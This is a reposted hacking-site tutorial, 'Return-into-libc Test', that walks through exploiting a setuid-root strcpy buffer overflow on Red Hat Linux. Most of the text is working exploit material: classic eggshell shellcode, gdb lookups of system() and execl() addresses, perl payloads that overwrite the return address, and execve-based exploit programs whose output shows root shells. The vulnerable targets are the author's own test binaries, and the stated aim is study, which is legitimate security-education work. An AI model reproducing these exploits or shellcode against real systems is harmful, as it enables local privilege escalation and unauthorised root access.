features

post news


(SMS/Articles)

search files, exploits & links sections:

featured download

GFI LANguard
– Scan for and remediate security vulnerabilities. Now in FREEWARE!
Download here

logged users

active for last 5 minutes

registered users: 19450

There are currently 0 registered users and 25 guests browsing the website.

online chat
 server:
   irc.xor.cx
 channel:
   #neworder

random article
Game Programming For Dummies
hxNov 11 2002

quotable quotes
Sex is like hacking. You get in, you get out, and you hope you didn't leave something behind that can be traced back to you
Tiberiu A

NO image gallery
Jul 26, 2009

lol.jpg / other stuff
click on the picture to enlarge and see description

read (0) / write comment

submit a picture to the gallery

Return-into-libc Test
@ Articles     Jun 04 2004, 18:50 (UTC+0)
wowhacker writes: Nowadays, it seems harder for hackers to exploit overflow vulnerabilities owing to the use of non-exec stacks by default, the detection of IDS's simple shellcode, etc. But we can get over these problems. With what? It's with the help of the 'return-into-libc' technique. With the knowledge of the libc functions and their operation, we can take another alternative approach to execution of arbitrary code to get a shell.


  =============================
  *   Return-into-libc Test   *
  =============================
      by vangelis

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

  Thanks Dalgona for test server & beist for his good idea,
  and reGen for his help, and loafers for his good article.
  Sorry for my poor English.
  I will revise ...
  
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


If we know the 'return-into-libc' technique, we can overcome the difficulties which older overflow exploitation method didnt't suggest. The older overflow technique used the concept of overwriting the EIP register with approximate address of many NOPs in memory or shellcode. We had to guess and estimate the return address and build large exploit buffers. However, instead of the older overflow technique, we can overwrite EIP with the address of a function contained within the libc library, with any function arguments following by using 'return-into-libc' technique. For example, we overwrite EIP with the address of system() or execl() included in the libc library to spawn a shell.


2. What is return-into-libc technique?

Now, I demonstrate an example of 'return-into-libc' technique. Let's start the following program. This program use strcpy() function. As you know, strcpy() doesn't check boundary.

[vangelis@localhost return]$ vi vul.c
int main(int argc, char *argv[])
{
        char buff[7];

        strcpy(buff, argv[1]);
        return 0;
}

~
~
[vangelis@localhost return]$ gcc -o vul vul.c
[vangelis@localhost return]$ su
Password:
[root@localhost return]# chown root vul
[root@localhost return]# chgrp root vul
[root@localhost return]# chmod 4755 vul
[root@localhost return]# exit
exit
[vangelis@localhost return]$ ls -la
?⑷퀎 24
drwxrwxr-x    2 vangelis vangelis     4096  5??11 23:12 .
drwxrwxr-x    5 vangelis vangelis     4096  5??11 22:47 ..
-rwsr-xr-x    1 root     root        11352  5??11 22:53 vul
-rw-rw-r--    1 vangelis vangelis       89  5??11 22:52 vul.c

Almost everyone with a small knowledge of buffer overflow can find out what the problem is. It is quite easy to exceed the bounds of 'buff' to overwrite our data for exploitation on the stack. In fact, we can exploit easily just with the older technique. At first, I will demonstrate the exploitation with the classical stack overflow technique by using eggshell.

[vangelis@localhost return]$ vi eggshell.c
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
     "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
         long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
        int i, eggsize=DEFAULT_EGG_SIZE;

        if (argc > 1) bsize   = atoi(argv[1]);
        if (argc > 2) offset  = atoi(argv[2]);
        if (argc > 3) eggsize = atoi(argv[3]);


        if (!(buff = malloc(bsize))) {
            printf("Can't allocate memory.\n");
        exit(0);
        }
        
        if (!(egg = malloc(eggsize))) {
            printf("Can't allocate memory.\n");
        exit(0);
        }

        addr = get_esp() - offset;
        printf("Using address: 0x%x\n", addr);

        ptr = buff;
        addr_ptr = (long *) ptr;
        for (i = 0; i < bsize; i+=4)
        {
             *(addr_ptr++) = addr;
        }
        ptr = egg;
        for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
            *(ptr++) = NOP;

        for (i = 0; i < strlen(shellcode); i++)
            *(ptr++) = shellcode[i];

        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';
        memcpy(egg,"EGG=",4);
        putenv(egg);
        memcpy(buff,"RET=",4);
        putenv(buff);
        system("/bin/bash");
}
~
~
[vangelis@localhost return]$ gcc -o eggshell eggshell.c
[vangelis@localhost return]$ ls -la
?&#9335;&#53262; 44
drwxrwxr-x    2 vangelis vangelis     4096  5??11 23:17 .
drwxrwxr-x    5 vangelis vangelis     4096  5??11 22:47 ..
-rwxrwxr-x    1 vangelis vangelis    12705  5??11 23:17 eggshell
-rw-rw-r--    1 vangelis vangelis     2224  5??11 23:17 eggshell.c
-rwsr-xr-x    1 root     root        11352  5??11 22:53 vul
-rw-rw-r--    1 vangelis vangelis       89  5??11 22:52 vul.c
[vangelis@localhost return]$ ./eggshell
Using address: 0xbffff8f8
[vangelis@localhost return]$ ./vul `perl -e 'print "\xf8\xf8\xff\xbf"x132'`
sh-2.05b#


I got a root shell. It was quite easy to get a root shell with the classiacal stack overflow technique by using eggshell. But, if an administrator has enabled a non-executable stack as a security measure, the situation is different. Let's assume that we are in the situation of the use of non-executable stack in this article. To overcome this situation we can use 'return-into-libc' technique. We can also use other techniques, but let's stick to the 'return-into-libc' technique.

The classical return-into-libc technique is well explained in Solar Designer's "Getting around non-executable stack (and fix)", but it will be a little difficult for beginner to grasp the outline of the article. So, I recommend Nergal's "The advanced return-into-lib(c) exploits: PaX case study" and shaun2k2's "Exploitation - Returning into libc". The classical return-into-libc method is "most commonly used to evade protection offered by the non-executable stack. Instead of returning into code located within the stack, the vulnerable function should return into a memory area occupied by a dynamic library. It can be achieved by overflowing a stack buffer with the following payload."

--------------------------------------------------------------------------------------
data to overflow buffer | addr of system() | 4 bytes dummy data | address of "/bin/sh"
--------------------------------------------------------------------------------------

Let's get information to exploit the vulnerable program vul.c. We just have to get the addresses of system() and the string "/bin/sh". It is easy to get the address of system(). Let's make following program system.c that calls the libc function 'system()' without any arguments. We can get the address of systm() by using gdb.

[vangelis@localhost return]$ vi system.c
int main()
{
        system();
}

~
~
[vangelis@localhost return]$ gcc -o system system.c
[vangelis@localhost return]$ gdb system
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) run
Starting program: /home/vangelis/test/return/system
/bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0x0804832e in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x42041e50 <system>
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@localhost return]$ 

I got the address of system(). The address is 0x42041e50. Now I have to get the address of the string "/bin/sh". To get the address of "/bin/sh" I wil use environmental variable. We can use an environmental variable to hold the string. An environment variable is ideal for holding the string "/bin/sh". So, I create an environmental variable called $WOWHACKER to store the string "/bin/sh".

[vangelis@localhost return]$ export WOWHACKER="/bin/sh"
[vangelis@localhost return]$ echo $WOWHACKER
/bin/sh
[vangelis@localhost return]$ env
SSH_AGENT_PID=922
HACK=/bin/sh
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;
01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*
.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;
32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zi
p=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=
00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:
*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:
WOWHACKER=/bin/sh
SSH_AUTH_SOCK=/tmp/ssh-XXNxttOD/agent.863
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/863
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/return
INPUTRC=/etc/inputrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthj2VlJi
COLORTERM=gnome-terminal
_=/bin/env
[vangelis@localhost return]$

Now I write to get the memory address of the environmental variable holding the string.

[vangelis@localhost return]$ vi env_addr.c
int main(int argc, char *argv[])
{
        char *addr;
        addr=getenv(argv[1]);

        printf("The address of %s is %p\n",argv[1],addr);
        return 0;
}
~
~
[vangelis@localhost return]$ gcc -o env_addr env_addr.c
[vangelis@localhost return]$ ./env_addr WOWHACKER

The address of WOWHACKER is 0xbffffd5c.

The address of $WOWHACKER holding "/bin/sh" is 0xbffffd5c. Now I get all information to exploit the vulnerable program:

   · address of system() - 0x42041e50
   · address of $WOWHACKER - 0xbffffd5c

Our exploit payload looks like the following. Before going to it, you must remember that my system uses little-endian order system. So, we must reverse the order.

-------------------------------------------------------------------------------
garbage data to overflow buffer | 0x42041e50 | 4 bytes dummy data | 0xbffffd5c
-------------------------------------------------------------------------------

Because the vulnerable program uses arguments when being executed, I will use perl to exploit the vulnerable program. Let's make the attacking payload.

`perl -e 'print "VANG"x7,"\x50\x1e\x04\x42AAAA\x5c\xfd\xff\xbf"'`
                  |            |           |            | 
          |            |           |            |
               garbage data    |    4 bytes dummy data  |
                               |                        |   
                      address of system()               |
                                          address of environmental
                                          variable holding "/bin/sh"


[vangelis@localhost return]$ ./vul `perl -e 'print "VANG"x7,"\x50\x1e\x04\x42AAAA\x5c\xfd\xff\xbf"'`
sh-2.05b$

I got a shell! But to my disappointment, I couln't get a root shell. Here we can know that there are some limitations in the classical return-into-libc technique. To get over this problem, Nergal and shaun2k2 suggest some methods in their articles. I used shaun2k2's methods. But there was one problem. I will explain the problem in the end of the following test. But remember that you can use his method in different situations. I will not inlcude any explanation about shaun2k2's way of exploitation. You can read his article and get the point of his way's.

------ beginning of shaun2k2's way in my linux box ------

[vangelis@localhost return]$ vi shell.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
        setuid(0);
        setgid(0);
        system("/bin/sh");
}

~
~
[vangelis@localhost return]$ gcc -o shell shell.c
[vangelis@localhost return]$ vi execl.c
#include <stdio.h>

int main()
{
        execl();
        printf(0);
}

~
~
[vangelis@localhost return]$ gcc -o execl execl.c
[vangelis@localhost return]$ gdb execl
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) break main
Breakpoint 1 at 0x8048362
(gdb) run
Starting program: /home/vangelis/test/return/execl
/bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0x08048362 in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x420ae890 <execl>
(gdb) p printf
$2 = {<text variable, no debug info>} 0x42052390 <printf>
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@localhost return]$
[vangelis@localhost return]$ export NULLSTRING="%3\$n"
[vangelis@localhost return]$ echo $NULLSTRING
%3$n
[vangelis@localhost return]$ export SHELL="/home/vangelis/test/return/shell"
[vangelis@localhost return]$ echo $SHELL
/home/vangelis/test/return/shell
[vangelis@localhost return]$ ./env_addr NULLSTRING
The address of NULLSTRING is 0xbfffff89
[vangelis@localhost return]$ ./env_addr SHELL
The address of SHELL is 0xbffffad5
[vangelis@localhost return]$
[vangelis@localhost return]$ vi vul2.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buff[5];
        printf("The address of buff is %p\n",buff);

        strcpy(buff, argv[1]);
        return 0;
}

~
~
[vangelis@localhost return]$ gcc -o vul2 vul2.c
[vangelis@localhost return]$ su
Password:
[root@localhost return]# chown root vul2
[root@localhost return]# chgrp root vul2
[root@localhost return]# chmod 4755 vul2
[root@localhost return]# exit
exit
[vangelis@localhost return]$
[vangelis@localhost return]$ ./vul2 `perl -e 'print "1234"x13'`
The address of buff is 0xbffff890
Segmentation fault
[vangelis@localhost return]$ ./vul2 `perl -e 'print "1234"x7,"\x90\x23\x05\x42","x90\xe8\x0a\x42","\x89\xff\xff\xbf","\xd5\xfa\xff\xbf","\xd5\xfa\xff\xbf","\xd8\xf8\xff\xbf"'`
The address of buff is 0xbffff890
Segmentation fault

------ end of shaun2k2's way in my linux box ------



3. New way to exploit

I failed in above test because there is a string "0a" in the exploit payload. My linux box is Red Hat 8.0. My Red Hat linux box has the string "0a" in execl() function. So it was impossible for me to exploit the vulnerable program and get the root shell due to the string "0a". If there is the string "0a" in the execl(), it is impossible to exploit the vulnerable program by using the method of shaun2k2's .

So I tried to find another linux box without "0a" in the execl() to apply shaun2k2's way. Dalgona recommended his server for my test. I thank him for that from the bottom of my heart. I thought that the process of my test would go well without any problem. But there were some problems to use shaun2k2's way. At that time beist suggested a more advanced way. The way also uses execl() function. This way was first suggested at "Hackerschool Hacking Festival". Let's go more detailed.

The exploit to get a root shell includes the following payload.

    -------------------------------------------
    garbage data  |  argv[0] - 8  |  execl + 3
    -------------------------------------------

Let's start. This was tested in Dalgona's server.

[vangelis@dalgona vangelis]$ vi vul.c
int main(int argc, char *argv[])
{
    char buff[7];

    strcpy(buff, argv[1]);
        return 0;
}

[vangelis@dalgona vangelis]$ gcc -o vul vul.c
[vangelis@dalgona vangelis]$ su
Password:
[root@dalgona vangelis]# chmod 4755 vul
[root@dalgona vangelis]# chown vul root
[root@dalgona vangelis]# chgrp vul root
[root@dalgona vangelis]# exit
[vangelis@dalgona vangelis]$ ls -al
-rwsr-xr-x    1 root     root         9596  5??20 00:51 vul
-rw-rw-r--    1 vangelis vangelis      116  5??20 00:51 vul.c

I made a simple program which calls execl() wthout any argument. And I got the address of execl() by using gdb. As you know, it is quite easy.

[vangelis@dalgona vangelis]$ vi execl.c
main()
{
    execl();
}
~
~
[vangelis@dalgona vangelis]$ gcc -o execl execl.c
[vangelis@dalgona vangelis]$ gdb execl
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048392
(gdb) r
Starting program: /home/vangelis/execl

Breakpoint 1, 0x08048392 in main ()
(gdb) print execl
$1 = {<text variable, no debug info>} 0x400be520 <execl>
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@dalgona vangelis]$

I got the address of execl(). The address is 0x400be520. And then I made setid.c program to get a root shell when I exploit the vulnerable program. I will use setid.c for the argv[0] of execve() function in the exploit.

[vangelis@dalgona vangelis]$ vi setid.c
main()
{

    setreuid(geteuid(),geteuid());
    setregid(getegid(),getegid());

    execl("/bin/bash", "sh", 0);
}
~
~
[vangelis@dalgona vangelis]$ gcc -o setid setid.c

I will find out the address of argv[0] by using gdb.

[vangelis@dalgona vangelis]$ gdb setid
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/vangelis/setid

Breakpoint 1, 0x08048406 in main ()
(gdb) x/30s 0xbffffc00
0xbffffc00:      "/home/vangelis/setid"
0xbffffc13:      "HOSTNAME=heezin"
0xbffffc23:      "SHELL=/bin/bash"
0xbffffc33:      "TERM=xterm"
0xbffffc3e:      "HISTSIZE=1000"
0xbffffc4c:      "JLESSCHARSET=ko"
0xbffffc7e:      "QT_XFT=no"
0xbffffc88:      "SSH_TTY=/dev/pts/0"
0xbffffc9b:      "USER=vangelis"
0xbffffe39:      "5:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:"
0xbffffe6c:      "KDEDIR=/usr"
0xbffffe78:      "PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11R6/bin:/opt/IBMJava2-13/bin:/home/vangelis/bin"
0xbffffed2:      "MAIL=/var/spool/mail/vangelis"
0xbffffef0:      "_=/bin/bash"
0xbffffefc:      "PWD=/home/vangelis"
0xbfffff0f:      "INPUTRC=/etc/inputrc"
0xbfffff24:      "JAVA_HOME=/opt/IBMJava2-13"
0xbfffff3f:      "LANG=ko_KR.euckr"
0xbfffff50:      "HOME=/home/vangelis"
0xbfffff64:      "SHLVL=1"
0xbfffff6c:      "LOGNAME=vangelis"
0xbfffffb2:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbfffffd4:      "G_BROKEN_FILENAMES=1"
0xbfffffe9:      "/home/vangelis/setid"
0xbffffffc:      ""
0xbffffffd:      ""
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@dalgona vangelis]$

I got a false address. It doesn't matter right now. Now I will make an exploit like following.

[vangelis@dalgona vangelis]$ vi exploit.c
#include <unistd.h>

int main()
{

        char *path = "/home/vangelis/vul";

        char *argv[] = { "./setid", "AAAABBBBCCCCDDDDEEEEFFFF\xe9\xff\xff\xbf\x23\xe5\x0b\x40", 0 };

        execve(path, argv, 0);
        return 0;
}

~
~
[vangelis@dalgona vangelis]$ gcc -o exploit exploit.c
[vangelis@dalgona vangelis]$ ./exploit
Segmentation fault
[vangelis@dalgona vangelis]$ 

It seems that there is a problem. The solution is that we have to find out the address of "./setid"(argv[0]) after the execution of execve().

[vangelis@dalgona vangelis]$ gdb exploit
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/vangelis/exploit

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000a70 in _start () from /lib/ld-linux.so.2
(gdb) symbol-file /home/vangelis/exploit
Load new symbol table from "/home/vangelis/exploit"? (y or n) y

Reading symbols from /home/vangelis/exploit...done.
(gdb) b main
Breakpoint 1 at 0x8048342
(gdb) c
Continuing.

Breakpoint 1, 0x08048342 in main ()
(gdb) x/10wx $ebp
0xbffffec8:     0xbffffef8      0x4003456d      0x00000002      0xbfffff24
                                                                ==========  <-- &argv[0]
0xbffffed8:     0xbfffff30      0x401319f8      0x00000000      0x40008cd0
0xbffffee8:     0x400092d8      0x400104ac
(gdb) x/10wx 0xbfffff24
0xbfffff24:     0xbfffffc0      0xbfffffc8      0x00000000      0x00000000
                ==========      ==========
                 argv[0]          argv[1]

0xbfffff34:     0x00000010      0x0383f9ff      0x00000006      0x00001000
0xbfffff44:     0x00000011      0x00000064

Let's see the contents of 0xbfffffc0 and 0xbfffffc8.

(gdb) x/s 0xbfffffc0
0xbfffffc0:      "./setid"
(gdb) x/s 0xbfffffc8
0xbfffffc8:      "AAAABBBBCCCCDDDDEEEEFFFFeyy&#51796;#a\v@"

We identified the contents of argv[0] and argv[1].

(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@dalgona vangelis]$

Let's make a new exploit.

[vangelis@dalgona vangelis]$ vi exploit2.c
#include <unistd.h>

int main()
{

        char *path = "/home/vangelis/vul";

                       /*          |     garbage data     |   argv[0]-8   |    execl+3    |   */
        char *argv[] = { "./set","AAAABBBBCCCCDDDDEEEEFFFF\x1c\xff\xff\xbf\x23\xe5\x0b\x40",0 };

        execve(path, argv, 0);

        return 0;
}
~
~
[vangelis@dalgona vangelis]$ ./exploit2
sh-2.05b# 
sh-2.05b# id
uid=0(root) gid=507(vangelis) groups=507(vangelis)
sh-2.05b# whoami
root
sh-2.05b#

Finally, I got a root shell!!

But there is one thing left to solve. Do you remember I failed in my system owing to the "0a"? Now I will try the new way to exploit in my system.

[vangelis@localhost rtl]$ vi vul.c
int main(int argc, char *argv[])
{
    char buff[7];

        strcpy(buff, argv[1]);
        return 0;
}
~
~
[vangelis@localhost rtl]$ gcc -o vul vul.c
[vangelis@localhost rtl]$ su
Password:
[root@localhost rtl]# chmod 4755 vul
[root@localhost rtl]# chown root vul
[root@localhost rtl]# chgrp root vul
[root@localhost rtl]# ls -la
?&#9335;&#53262; 24
drwxr-xr-x    2 vangelis vangelis     4096  5??29 01:31 .
drwxrwxr-x    6 vangelis vangelis     4096  5??29 01:23 ..
-rwsr-xr-x    1 root     root        11352  5??29 01:31 vul
-rw-rw-r--    1 vangelis vangelis      115  5??29 01:30 vul.c
[root@localhost rtl]# su vangelis
[vangelis@localhost rtl]$ vi execl.c
[vangelis@localhost rtl]$ gcc -o execl execl.c
[vangelis@localhost rtl]$ gdb execl
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/rtl/execl
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0x0804832e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x420ae890 <execl>
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@localhost rtl]$ vi setid.c
main()
{

    setreuid(geteuid(),geteuid());
        setregid(getegid(),getegid());

        execl("/bin/bash", "sh", 0);
}
~
~
[vangelis@localhost rtl]$ gcc -o setid setid.c
[vangelis@localhost rtl]$ gdb setid
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/vangelis/test/rtl/setid
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0x08048406 in main ()
(gdb) x/30s 0xbffffc00
0xbffffc00:      ":*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm [...]
0xbffffcc8:      ".bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00 [...]
0xbffffd4b:      "PVM_ROOT=/usr/share/pvm3"
0xbffffd64:      "SSH_AUTH_SOCK=/tmp/ssh-XXCipL12/agent.896"
0xbffffd8e:      "SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896"
0xbffffdcd:      "USERNAME=root"
0xbffffddb:      "MAIL=/var/spool/mail/root"
0xbffffdf5:      "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin"
0xbffffe50:      "_=/bin/bash"
0xbffffe5c:      "INPUTRC=/etc/inputrc"
0xbffffe71:      "PWD=/home/vangelis/test/rtl"
0xbffffe8d:      "XMODIFIERS=@im=Ami"
0xbffffea0:      "LANG=ko_KR.eucKR"
0xbffffeb1:      "GDMSESSION=Default"
0xbffffec4:      "SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass"
0xbffffef7:      "HOME=/home/vangelis"
0xbfffff0b:      "SHLVL=7"
0xbfffff13:      "GNOME_DESKTOP_SESSION_ID=Default"
0xbfffff34:      "BASH_ENV=/root/.bashrc"
0xbfffff4b:      "LOGNAME=vangelis"
0xbfffff5c:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbfffff7e:      "DISPLAY=:0"
0xbfffff89:      "G_BROKEN_FILENAMES=1"
0xbfffff9e:      "COLORTERM=gnome-terminal"
0xbfffffb7:      "XAUTHORITY=/home/vangelis/.xauthsvjSKd"
0xbfffffde:      "/home/vangelis/test/rtl/setid"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@localhost rtl]$ vi exploit.c
#include <unistd.h>

int main()
{

        char *path = "/home/vangelis/test/rtl/vul";

        char *argv[] = { "./setid", "AAAABBBBCCCCDDDDEEEEFFFF\xde\xff\xff\xbf\x93\xe8\x0a\x42", 0 };

        execve(path, argv, 0);
        return 0;
}
~
~
[vangelis@localhost rtl]$ gcc -o exploit exploit.c
[vangelis@localhost rtl]$ ./exploit
Segmentation fault
[vangelis@localhost rtl]$
[vangelis@localhost rtl]$ gdb exploit
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/vangelis/test/rtl/exploit
/bin/bash: /root/.bashrc: Permission denied

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
(gdb) sysmol-file /home/vangelis/test/rtl/exploit
Undefined command: "sysmol-file".  Try "help".
(gdb) symbol-file /home/vangelis/test/rtl/exploit
Load new symbol table from "/home/vangelis/test/rtl/exploit"? (y or n) y

Reading symbols from /home/vangelis/test/rtl/exploit...done.
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) c
Continuing.

Breakpoint 1, 0x0804832e in main ()
(gdb) x/10wx $ebp
0xbffffed8:     0xbffffef8      0x420158d4      0x00000002      0xbfffff24
0xbffffee8:     0xbfffff30      0x400124b8      0x00000002      0x08048278
0xbffffef8:     0x00000000      0x08048299
(gdb) x/10wx 0xbfffff24
0xbfffff24:     0xbfffffb7      0xbfffffbf      0x00000000      0x00000000
0xbfffff34:     0x00000010      0x0183f9ff      0x00000006      0x00001000
0xbfffff44:     0x00000011      0x00000064
(gdb) x/s 0xbfffffb7
0xbfffffb7:      "./setid"
(gdb) x/s 0xbfffffbf
0xbfffffbf:      "AAAABBBBCCCCDDDDEEEEFFFF????\223?\nB"
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@localhost rtl]$ vi exploit2.c
#include <unistd.h>

int main()
{

        char *path = "/home/vangelis/test/rtl/vul";

        char *argv[] = { "./setid", "AAAABBBBCCCCDDDDEEEEFFFF\x1c\xff\xff\xbf\x93\xe8\x0a\x42", 0 };

        execve(path, argv, 0);
        return 0;
}
~
~
[vangelis@localhost rtl]$ gcc -o exploit2 exploit2.c
[vangelis@localhost rtl]$ ./exploit2
sh-2.05b#
sh-2.05b# id
uid=0(root) gid=500(vangelis) groups=500(vangelis)
sh-2.05b# whoami
root
sh-2.05b#



Wow! I got a root shell in my system(Red Hat 8.0).
I just want this article to help readers for their study.


References

1. shaun2k2, "Exploitation - Returning into libc"
2. Nergal, "The advanced return-into-lib(c) exploits: PaX case study"
(http://phrack.org/phrack/58/p58-0x04)

read comments (11) / write comment

views: 18233   printer-friendly version

Top of page